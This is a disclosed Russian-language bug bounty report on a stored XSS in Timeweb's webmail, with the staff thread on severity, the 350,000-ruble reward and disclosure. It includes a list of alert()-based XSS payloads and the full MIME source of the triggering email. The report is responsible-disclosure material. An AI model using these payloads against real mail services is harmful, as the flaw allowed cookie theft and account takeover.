[mail] Stored XSS in email message

Где обнаружено

Описание уязвимости

Обнаружен Stored XSS который срабатывает при открытии вредоносного email сообщения.

Шаги воспроизведения

  1. Пишем вредоносное письмо. К примеру, в Thunderbird:
 
 
Payload:
 "><svg onload=alert(1)//
 "onmouseover=alert(1)//
 "autofocus/onfocus=alert(1)//
 '-alert(1)-'
 '-alert(1)//
 \'-alert(1)//
 </script><svg onload=alert("XSS")>
(Он у меня явно кривой, но оно работает)))
Получаем такой Source письма
 Content-Type: multipart/alternative;
  boundary="------------6uVy5zZtraW8a1Vx8rHR9RY3"
 Message-ID: <#####>
 Date: Sat, 14 Dec 2024 20:13:52 +0300
 MIME-Version: 1.0
 User-Agent: Mozilla Thunderbird
 Content-Language: en-US
 To: bugbounty@i-hate-paid-domain-names.ru
 From: Alex <#####>
 Subject: =?UTF-8?B?0JzQvtC5INC/0LXRgNCy0YvQuSBYU1MuINCi0Ysg0LbQtSDQvdC1INC0?=
  =?UTF-8?B?0YPQsdC70LjQutCw0YIsINC00LA/IQ==?=
 
 This is a multi-part message in MIME format.
 --------------6uVy5zZtraW8a1Vx8rHR9RY3
 Content-Type: text/plain; charset=UTF-8; format=flowed
 Content-Transfer-Encoding: 7bit
 
 ">">
 
 --------------6uVy5zZtraW8a1Vx8rHR9RY3
 Content-Type: text/html; charset=UTF-8
 Content-Transfer-Encoding: 7bit
 
 <!DOCTYPE html>
 <html>
   <head>
 
     <meta http-equiv="content-type" content="text/html; charset=UTF-8">
   </head>
   <body>
     <p>"&gt;<svg onload="alert(1)//" "onmouseover="alert(1)//"
         "autofocus="" onfocus="alert(1)//" '-alert(1)-'="" '-alert(1)=""
         \'-alert(1)="" <="" script=""><svg onload='alert("XSS")'></svg>"&gt;<svg
           onload="alert(1)//" "onmouseover="alert(1)//" "autofocus=""
           onfocus="alert(1)//" '-alert(1)-'="" '-alert(1)=""
           \'-alert(1)="" <="" script=""><svg onload='alert("XSS")'></svg></svg></svg></p>
   </body>
 </html>
 
 --------------6uVy5zZtraW8a1Vx8rHR9RY3--
  1. Открываем письмо в https://mail.timeweb.com/
    Во время его загрузки отработает XSS:
Протыкав Alert'ы, письмо откроется как ни в чём не бывало
 

Влияние на безопасность

Кража данных: Злоумышленник может использовать XSS для кражи конфиденциальной информации, такой как учетные данные пользователей, куки и токены сессий.
Злоумышленник может незаметно для жертвы перенаправить его на другую страницу-клон. Эта страница может выглядеть совершенно идентично той, на которой пользователь рассчитывал оказаться.

Дополнительные ссылки

Reward
₽350,000
Timeweb
Timeweb
Report No.: 8668
Created: December 14, 2024, 17:24
Disclosed: August 11, 2025, 14:38
Status: Accepted
Type: Vulnerability
Severity:
Critical
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Author:Casual

Files

image-5.png
Comments
By
Andrey_TW
December 16, 2024
Здравствуйте,
Спасибо за отчет.
Приняли в работу для анализа данного поведения, это может занять некоторое время.
Если у нас будут вопросы по отчету мы напишем.
By
Andrey_TW
December 16, 2024
By
Andrey_TW
December 17, 2024
Спасибо за ожидание.
Увы, но вы чуть-чуть не успели сдать эту xss, но это не точно (объясню)
Мы уже получили ранее подобный репорт

по xss в mail, по почти такому же PoC, но не успели еще зафиксить (в процессе)
И пока до конца не можем понять, из-за той ли дыры она воспроизводится.
Мы пока что выставим этому отчету дубль.
После фикса мы проверим ваш вектор и если он воспроизведется, то поменяем статус и начислим заслуженное баунти.
В любом случае поздравляем Вас с первой XSS
p.s в mail.timeweb.com мало кто подобное находил.
image.png
By
Andrey_TW
December 17, 2024
By
Casual
December 17, 2024
Жаль((9(
Напишите как пофиксите, попробую еще раз поискать, если все же дубликат
By
Andrey_TW
December 18, 2024
By
Andrey_TW
December 18, 2024
Спасибо за ожидание.
Уязвимость закрыли, но ваш вектор сработал с чем и поздравляем :)
Сейчас проводим оценку данной уязвимости и ее критичность, это займет какое-то время, пожалуйста ожидайте.
By
Casual
December 19, 2024
Андрей, спасибо за внимание к подобным неДубликатам!)
9eafkt.jpg
By
Andrey_TW
December 23, 2024
Спасибо за ожидание.
Оценили импакт и чуть-чуть докрутили и повышаем критичность до минимального Critical.
Хоть и в таблице у нас указана сумма выплаты за xss-уязвимости до 20к, мы решили посчитать по критичности импакта.
150к за критичность + 200к за 1-й крит найденный в mail.timeweb.com по нашей предновогодней акции
Общая сумма баунти: 350к руб.
Ждем пополнение счета. Как только деньги поступят на баланс программы мы сразу вам их отправим и дополнительно сообщим.
Благодарим вас за отчет и вклад в безопасность нашей компании.
By
Timeweb
December 23, 2024
Reward assigned: ₽350,000.00
By
Artem_TW
December 23, 2024
By
Artem_TW
December 23, 2024
By
Casual
December 23, 2024
Привет!
Спасибо большое! Никак не ожидал, что мой первый ХSS будет критом)
чуть-чуть докрутили
Можете рассказать подробности?
Хоть и в таблице у нас указана сумма выплаты за xss-уязвимости до 20к
Я заметил, что на почте, в отличии от timeweb.cloud, все держится на cookie, т.е. можно провернуть угон аккаунта. Из-за этого считали по импакту, а не по таблице?
By
Casual
December 23, 2024
Раскроем отчет после того как пофиксите?
By
Andrey_TW
December 24, 2024
Раскрутили до захвата аккаунта.
Как только закроем уязвимости и проведем аудит, сможем рассмотреть открытие отчета.
Вознаграждение в размере 350к руб. отправлено с нашей стороны.
Благодарим вас за отчет и вклад в безопасность нашей компании.
By
Casual
December 24, 2024
Я сделал запрос на расскрытие. Когда напомнить про него (т.е. когда примерно вы закроете уязвимость и проведёте аудит)?
By
Artem_TW
December 26, 2024
Здравствуйте.
Точно сказать не можем, возможно в январе следующего года.
Можете напомнить 10 января, если на этой неделе не поступит информации о закрытии.
By
Casual
January 13, 2025
Здравствуйте!
Напоминаю про раскрытие отчёта
By
Andrey_TW
January 14, 2025
Здравствуйте!
Заявку получили на раскрытие. Как закончим работы мы ее рассмотрим и оповестим вас.
Пожалуйста, ожидайте.
By
Casual
February 10, 2025
Здравствуйте, напоминаю про расскрытие
By
Casual
May 10, 2025
Здравствуйте, можем раскрыть?